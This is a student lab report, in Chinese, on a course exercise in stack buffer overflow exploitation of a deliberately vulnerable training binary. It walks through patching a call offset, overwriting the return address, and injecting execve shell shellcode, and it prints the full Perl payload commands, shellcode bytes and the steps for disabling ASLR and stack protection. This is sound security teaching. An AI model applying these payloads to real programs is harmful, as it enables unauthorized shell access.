20222420 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

1.實驗內容

1.1 學習內容總結

1.1.1 初步瞭解緩衝區溢位漏洞

首先學習了安全漏洞的相關概念，然後聚焦在其中的緩衝區溢位漏洞上。學習了緩衝區溢位漏洞相關的定義和發生的原因，並瞭解了緩衝區溢位發展歷史上的經典攻擊，如紅色程式碼蠕蟲、衝擊波病毒、震盪波病毒、心臟出血、烏克蘭斷網、WannaCry等。

1.1.2 緩衝區溢位基礎知識

• 編譯器和聯結器：gcc test.c –o test
• 偵錯程式：類Unix平臺上經常使用GDB
• 組合語言：暫存器（ebp、eip等），彙編指令（RET、CALL等）
• 堆：程式動態分配的資料和變數
• 棧：環境變數/引數和個數以及主函式和呼叫棧中函式的臨時儲存資訊
• 函式呼叫過程和反彙編

1.2 實驗任務

利用一個名為pwn1的linux可執行檔案，其執行流程為main呼叫foo函式,foo函式簡單回顯使用者輸入的字串。該程式同時包含另一個程式碼片段getShell，會返回一個可用Shell，正常情況下這個程式碼不會被執行。實驗目標為，學習兩種方法執行這個程式碼片段，然後學習如何注入執行任何Shellcode。

三個實踐內容如下

• 手工修改可執行檔案，改變程式執行流程，直接跳轉到getShell函式
• 利用foo函式的Bof漏洞，構造一個攻擊輸入字串，覆蓋返回地址，觸發getShell函式
• 注入一個自己製作的shellcode並執行這段shellcode

2.實驗過程

2.1 手工修改可執行檔案，改變程式執行流程，直接跳轉到getShell函式

• 下載pwn1，複製到資料夾20222420為檔案pwn20222420。
  
• 發現pwn20222420不是可執行檔案，透過chmod命令將其改為可執行檔案。
  
• 驗證pwn20222420檔案執行情況，執行情況正常。
  
• 利用“objdump -d pwn20222420 | more”命令反彙編pwn20222420檔案，檢視main函式呼叫foo函式的指令。
  分析：e8 d7 ff ff ff中，e8代表跳轉，ff ff ff d7（小端儲存）是-41的補碼。執行80484b5處的指令時，EIP的值是下條指令的地址（即80484ba），但執行完80484b5處的指令後，CPU會轉而執行 “EIP + ffffffd7”這個位置的指令，即執行foo函式（80484ba+ffffffd7=8048491）。
  
• 想要改變程式執行流程，直接跳轉到getShell函式，只需要修改d7 ff ff ff為“getShell函式地址-EIP”即可，即修改為c3 ff ff ff（0804847d-080484ba=ffff fffc3）。
• 下面利用vi命令檢視pwn20222420檔案，用:%!xxd將顯示模式切換為16進位制模式，用/e8 d7命令查詢對應位置，然後按i進入編輯，將其中對應的d7改為c3。最後按esc退出編輯，輸入:%!xxd -r轉換16進製為原格式，輸入:wq以儲存並退出檢視。
  
• 再次反彙編pwn20222420檔案，檢視相應位置是否被修改成功。可知已經修改成功。
  
• 最後執行修改後的pwn20222420檔案，會得到shell提示符$，並且可以正常執行命令。
  

2.2 利用foo函式的Bof漏洞，構造一個攻擊輸入字串，覆蓋返回地址，觸發getShell函式

• 將pwn1複製到資料夾20222420為檔案pwntwo20222420，並將其設定為可執行檔案
• 反彙編，檢視foo函式中的Buffer overflow漏洞
  分析1：804849d地址處的指令代表計算從（%ebp）（即基指標地址）向下偏移0x1c（即十進位制的28）的地址，並將這個地址載入到累加器%eax中，這個地址是預留給字串輸入的緩衝區。
  分析2：804849d地址處的指令代表呼叫gets函式，從標準輸入讀取字串到之前計算的緩衝區地址。由於gets不檢查緩衝區大小，如果輸入字串超過28位元組（包括空終止符），將導致緩衝區溢位。
  分析3：返回地址之下為%ebp（佔4B，因32位程式），%ebp之下為預留給字串輸入的緩衝區。可以推知只要輸入32位元組，再之後就會溢位到返回地址及以後的空間，但這只是一般情況，還需要驗證。
  
• 確認是否的確是輸入32位元組後再輸入就會溢位到返回地址及以後的空間。使用gdb除錯。
  輸入gdb pwntwo20222420來使用gdb除錯該檔案，然後輸入r來執行檔案，再輸入555555555555555555555555555566664321來測試32B（一個數字佔1B儲存空間）後的4321是否出現在返回地址。
  分析：從圖中可以看到%eip指令暫存器指向的下一條指令的地址為0x31323334，即小端儲存的4321。且%ebp確實被6666所填充。可知結果證明了上述“分析3”中的推知。
  
• 確認用什麼值來覆蓋返回地址。使用objdump -d pwntwo20222420 | more命令檢視getShell函式的地址。
  分析：可知getShell函式的地址為0804847d，同時從上面的實驗可知儲存模式為小端儲存（低位位元組存在低位地址），故構造的值應為\x7d\x84\x04\x08。輸入pwntwo20222420檔案的字元應為32個任意字元和\x7d\x84\x04\x08，其後還可以加上\x0a，不然輸入字串後還需手動敲擊回車。
  
• 但\x7d\x84\x04\x08無法從鍵盤鍵入。這時有兩種方式，一種是使用Perl來生成一個字串並將其輸出到一個檔案（我命名為input）中，然後用cat命令讀這個檔案並將輸出透過管道（|）輸入到pwntwo20222420檔案；另一種是跳過input檔案這一中間環節，直接透過管道（|）輸入到pwntwo20222420檔案。以下為兩種方式的實驗結果，可知均成功。
  
  

2.3 注入一個自己製作的shellcode並執行這段shellcode

• 準備一段Shellcode，這段機器指令的目的是為獲取一個互動式的shell。
  \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
• 修改安全設定。
  • 設定堆疊可執行，並查詢設定情況。
    
  • 關閉地址隨機化，並查詢設定情況。需要透過sudo su -命令轉換到root使用者才能設定。
    
• 構造要注入的payload。結構使用anything+retaddr+nops+shellcode，其中retaddr應為注入的shellcode的地址用於替換返回地址，nop為空指令（0x90）。
  • 初始構造為AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+4321+\x90\x90\x90\x90+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
  • 尋找注入的shellcode的地址
    • 使用
      perl -e 'print "A" x 32;print "\x34\x33\x32\x31\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode，並將其中內容透過管道輸入到pwntwo20222420檔案中執行。注意此時不能輸入回車。
      
    • 開啟另一個終端，用ps -ef | grep pwntwo20222420命令檢視程序號，然後輸入gdb命令，再輸入attach 11112將gdb附加在前面檢視的程序號上。
      
    • 在第二個終端中使用disassemble foo，反彙編foo來檢視ret指令的地址，以便在此設定斷點。
      
    • 在第二個終端中ret指令的地址處設定斷點。斷在這裡，因為這時注入的東西都在堆疊上了。
      
    • 在第一個終端中輸入回車。然後在第二個終端中輸入c，表示繼續。然後輸入info r esp，檢視esp的地址，以便在此附近尋找注入的shellcode的地址。
      
    • 輸入x/16x 0xffffcdec，以十六進位制檢查該處記憶體。此時可以找到注入的shellcode並計算出其地址為0xffffcdf4。
      
  • 此時就知道了要注入的payload應構造為
    "A" x 32 + "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
  • 構造檔案的命令為
    perl -e 'print "A" x 32;print "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode2
    
• 最後進行驗證。
  

3.問題及解決方案

• 問題1：執行pwn20222420檔案時報錯，顯示permission denied，我以為需要用sudo，但還是不行。
  問題1解決方案：我想到可能檔案不可執行，用ls -l檢視確實如此，用chmod將其設定為可執行檔案便解決了問題。
• 問題2：第一個實踐內容，用/e8d7查詢不到要修改的內容。
  問題2解決方案：反覆嘗試後我想到可能中間需要空格，因為檢視時位元組間有空格，雖然我認為實際儲存中是沒有空格的。嘗試了/e 8d7不行，然後/e8 d7便能找到了。
• 問題3：設定堆疊可執行時顯示錯誤，原因是沒有execstack命令。apt-get也搜尋不到該程式。
  問題3解決方案：CSDN中查詢，可以在網上下載並安裝。為了方便沒有用瀏覽器，具體使用了wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令列。
• 問題4：關閉地址隨機化時許可權不夠，用sudo也不行。
  問題4解決方案：詢問AI後明白必須root使用者才能關閉。但是我從一開始就並沒有設定過root使用者。不過我還是嘗試轉換到root，因為可能不需要密碼。我用su -顯示錯誤，於是改用了sudo su -，這次直接轉換為了root使用者，在這個使用者下我就成功關閉了地址隨機化。
• 問題5：不明白任務3中最後構造input_shellcode時用的字串最後的\x90\x00\xd3\xff\xff\x00有什麼用。
  問題5解決方案：經過深入分析，發現沒什麼用。這是是博主之前使用nop+shellcode+retaddr結構未成功，更改結構後未刪除而遺留下來的，\x90是為了湊夠前面的32B，\x00\xd3\xff\xff是shellcode地址，但這都是使用nop+shellcode+retaddr結構時使用的內容了。直接刪除即可。

4.學習感悟、思考等

透過這次實驗，我不僅加深了對電腦保安漏洞的理解，還透過實踐掌握了多種攻擊與防護的技術手段。儘管整個實驗過程佈滿了重重困難與挑戰，但我深信，透過深入細緻地分析問題、逐一攻克那些直接影響實驗程序的難題，以及審慎探究那些雖不直接阻礙實驗卻仍存疑的點，而非僅僅依賴於刻板重複的實驗指南，我獲得了極為寶貴的成長與收穫。
在實驗過程中，我學習了編譯器、偵錯程式、組合語言以及堆和棧的基礎知識，這些知識對於理解緩衝區溢位漏洞的原理和攻擊方式至關重要。透過動手實踐，我親手操作了如何修改可執行檔案來改變程式執行流程，如何利用緩衝區溢位漏洞構造攻擊輸入字串，以及如何注入和執行自定義的Shellcode。我感覺透過這些實踐我對原本並不熟悉的堆、組合語言、偵錯程式gdb熟悉了很多，並能夠運用這些知識。
在實驗中，我也遇到了不少問題，比如檔案許可權問題、查詢和修改特定內容時的困難、缺少必要工具的問題等，在遇到未知的問題時我顯得比較著急和焦慮。但是，透過不斷嘗試和尋求幫助，我最終都成功地解決了這些問題。這些經歷讓我更加明白，在遇到問題時，不要輕易放棄，要多思考、多嘗試，要學會保持冷靜和耐心，同時也可以藉助外部資源來尋求幫助。
這次實驗中我認為我對這次實驗的理解已經很深入了，有疑惑的點我自己基本都解決了。比如為什麼是32個位元組後便溢位到返回地址（設定的緩衝區28B+ebp4B=32B），nop是什麼（空指令\x90，往後滑），一個字串儲存後顯示出來為什麼這麼奇怪（棧向低地址生長，小端儲存），ret有什麼用（返回主程式），為什麼用print而非printf（perl是指令碼語言），disassemble是什麼（反彙編），more /proc/sys/kernel/randomize_va_space是什麼、為什麼顯示0或2（顯示地址空間隨機化情況，0表禁用，1表啟用，2表完全啟用）等等。正是因為我對實驗內容有一定的理解，我在做時才能夠有一定自己的想法，和實驗指導的步驟有略微的差別。

參考資料

• 《【2024年最新版】Kali安裝詳細教程》